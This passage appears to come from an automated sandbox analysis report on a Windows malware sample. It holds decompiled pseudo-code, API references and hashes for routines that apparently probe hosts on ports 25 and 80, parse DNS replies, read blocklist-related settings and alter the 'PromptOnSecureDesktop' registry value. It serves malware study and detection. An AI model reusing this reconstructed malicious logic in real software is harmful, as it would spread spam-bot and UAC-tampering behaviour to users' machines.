				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74E04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74E04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32 ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32 ref: 00402B4A
htons.WS2_32 ref: 00402B71
htons.WS2_32 ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p2u, xrefs: 00402CC7

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p2u
API String ID: 1639031587-1441537569
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004351F9, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435288
_get_int64_arg.LIBCMTD ref: 004352B0
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

9, xrefs: 00435488
-, xrefs: 0043551E

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 935c989434befc701ddcd8fb80753de3e30f53835e9c8fb1d7f9a9d27958b154
Instruction ID: 4680b91801d0c3db4cb0061445f72aa0010d05bfd1d30d3709ac915476f5d1a0
Opcode Fuzzy Hash: 935c989434befc701ddcd8fb80753de3e30f53835e9c8fb1d7f9a9d27958b154
Instruction Fuzzy Hash: EBF159B1D016299FDB24CF58CC89BEEB7B1BB48304F1491DAE419A7281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C60B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C6A0
_get_int64_arg.LIBCMTD ref: 0043C6C8
__aullrem.LIBCMT ref: 0043C870
__aulldiv.LIBCMT ref: 0043C892
_write_multi_char.LIBCMTD ref: 0043C9AB
_write_string.LIBCMTD ref: 0043C9C6
_write_multi_char.LIBCMTD ref: 0043C9F2
__mbtowc_l.LIBCMTD ref: 0043CA61

Strings

9, xrefs: 0043C8A3

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: f9a497329429b78ba757a150d9d7dcea71dca5b27a941fdfb1e289ea6be11cc8
Instruction ID: 34559deb3672ad49a19157a118e67730d707344d330fb57938984f4afdecb0a5
Opcode Fuzzy Hash: f9a497329429b78ba757a150d9d7dcea71dca5b27a941fdfb1e289ea6be11cc8
Instruction Fuzzy Hash: 98F129B1E002299FDB24DF58CC81BAEB7B5BF49304F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00648578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 00648643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 00648664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 00648691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 0064869A

Strings

", xrefs: 00648955
PromptOnSecureDesktop, xrefs: 0064859F, 0064862E, 006486A6, 006486F1, 006487AE, 006487FB, 006488D2, 006488EE

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: c515f9d8bc8068c35ae5dfec5a969e5885a84b94bde707334342eef819cbbb89
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: D0C1B171900249FEEB51EBA4DC85EEE7BBEEB05300F14407AF604E3151EBB14E949B69

Uniqueness

Uniqueness Score: -1.00%

Function 004298B6, Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 004298DD

Part of subcall function 0041DDB0: __invalid_parameter.LIBCMTD ref: 0041DE22

__invoke_watson_if_error.LIBCMTD ref: 004298E6
_strlen.LIBCMT ref: 004298FB
_strlen.LIBCMT ref: 0042990C
_memcpy_s.LIBCMTD ref: 00429954
__invoke_watson_if_error.LIBCMTD ref: 0042995D

Part of subcall function 0041E230: __invoke_watson.LIBCMTD ref: 0041E251

_strlen.LIBCMT ref: 0042996F
_strlen.LIBCMT ref: 00429980

Strings

Ph8S@, xrefs: 00429B64
<O@, xrefs: 00429A15

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: <O@$Ph8S@
API String ID: 3749650904-221523576
Opcode ID: 3e769f16ae6592a1974ede7cb070f3524bbc3fefc3e1a24cad520cd4616ec647
Instruction ID: 7b6548161484f20f2918ebdc3cd863b01d7dc0fa1d422ddf973b5ba3fc3973ce
Opcode Fuzzy Hash: 3e769f16ae6592a1974ede7cb070f3524bbc3fefc3e1a24cad520cd4616ec647
Instruction Fuzzy Hash: 199172B4F40228ABDB24DF55EC45BDE7774AB48704F5080AEF60966281D67C9EC0CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00642CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00642CD6
socket.WS2_32(00000002,00000002,00000011), ref: 00642CF0
htons.WS2_32(00000000), ref: 00642D2B
select.WS2_32 ref: 00642D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 00642D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00642E4B

Strings

p2u, xrefs: 00642F17

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p2u
API String ID: 127016686-1441537569
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: f695c1c949443be8b962fce38dea2d7104ed7da090198b618e2374cd38f86090
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 2961F471904306AFC7209F61DC08BABBBF9FF88754F64481DF94497250D7B5D8848BA6

Uniqueness

Uniqueness Score: -1.00%

Function 006414D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 006415EA
lstrlenW.KERNEL32(-00000003), ref: 006417C1

Strings

<, xrefs: 006415C8
D, xrefs: 00641816
@, xrefs: 006415D0
, xrefs: 006416B2

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: d6bbc42e5c64c6e1361bb05b356be438fb89e9348a0b5aad08c2681f97713799
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: CBF17DB55083419FD720DF64C888BAAB7E6FB89301F00892DF6969B390D7B4D984CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0064764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006476C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 00647740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 00647778
___ascii_stricmp.LIBCMT ref: 0064789D
RegCloseKey.ADVAPI32(?), ref: 00647937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00647956
RegCloseKey.ADVAPI32(?), ref: 00647967
RegCloseKey.ADVAPI32(?), ref: 00647995
RegCloseKey.ADVAPI32(?), ref: 00647A3F

Part of subcall function 0064F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,00647713,?), ref: 0064F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 006479DF
RegCloseKey.ADVAPI32(?), ref: 00647A36

Strings

", xrefs: 006477E9
PromptOnSecureDesktop, xrefs: 006476AE, 006476B3, 006476CE, 0064776B, 006477CF, 0064784B, 00647864, 006479AB

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: aecdd1f912acf888660a6e5bbcb0d4869692b28eb29a0e38f5f413c82e64d29f
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: ABC1B071908209AFEB61DFA4DC45FEE7BBAEF45310F1040A6F504E6291EB71DE848B64

Uniqueness

Uniqueness Score: -1.00%

Function 00434F57, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434F5B
__get_printf_count_output.LIBCMTD ref: 00434F69
__invalid_parameter.LIBCMTD ref: 00434FF0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00435005
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

-, xrefs: 0043551E

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: ad9b4dd175574b5ba65479b10f0971cec3caffeb9c6a2713336c5cf3e58dc47b
Instruction ID: 0ce59297d9fd5b06eb1b4f773b0b87bf5f52932b5e3be16d22ab747721fd60d4
Opcode Fuzzy Hash: ad9b4dd175574b5ba65479b10f0971cec3caffeb9c6a2713336c5cf3e58dc47b
Instruction Fuzzy Hash: 05A190B0D016289BDF24DF54CC49BEEB7B0AF88304F1451DAE5197A281E7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00649576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00649590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006495BE
GetModuleFileNameA.KERNEL32(00000000), ref: 006495C5
wsprintfA.USER32 ref: 0064961E
wsprintfA.USER32 ref: 0064965C
wsprintfA.USER32 ref: 006496DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 00649741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00649776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006497C1

Strings

PromptOnSecureDesktop, xrefs: 006495ED, 0064960D, 0064964B, 0064966C, 0064969F, 006496C8, 006496EA, 0064971D, 00649769, 006497A0

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: 341be566f7412b4c4ff3e6427f7032e48e4fe9ba56a671db23cc4a4b68b016f0
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: DCA16FB1940208EFEB25DFA4CC45FDF3BAEEB45740F10402AFA0596252E7B5D984CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434DA5, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434DA9
_strlen.LIBCMT ref: 00434DD9
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

-, xrefs: 0043551E
xD@, xrefs: 00434DCC

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$xD@
API String ID: 2232461714-1745409720
Opcode ID: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction ID: 6754f8d0213d42cf828bb926ddd3a57ed83cba56ab82bea48e70d5695bede70d
Opcode Fuzzy Hash: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction Fuzzy Hash: D1A181B4D016289BDF24CF54CC49BEEB7B1AF88304F5491DAD4196B281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00641FE6, Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00642016
GetSystemInfo.KERNEL32(?), ref: 00642038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 00642053
GetProcAddress.KERNEL32(00000000), ref: 0064205A
GetCurrentProcess.KERNEL32(?), ref: 0064206B
GetTickCount.KERNEL32 ref: 00642219

Part of subcall function 00641E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 00641E65

Strings

0t, xrefs: 00642219
flags_upd, xrefs: 0064208E, 00642093, 006420CC
hi_id, xrefs: 00642166, 0064216B, 00642183
localcfg, xrefs: 0064207A, 00642081, 00642094, 006420CD, 006420DC, 00642102, 00642121, 00642137, 0064214F, 0064216C, 00642184, 006421A0, 006421C0
work_srv, xrefs: 006420AE

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-2138632659
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 081637698ed64aa39c86cdbf5b7c59a1cb45f05d2b4aed929cbaaebb3a8ed968
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: 885116B0904348AFE370AF758C85FA7BBEDFB45704F50082DFA9582242D7B5A984C769

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_ip, xrefs: 0040218F
0t, xrefs: 00402072
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181
net_type, xrefs: 004021DF

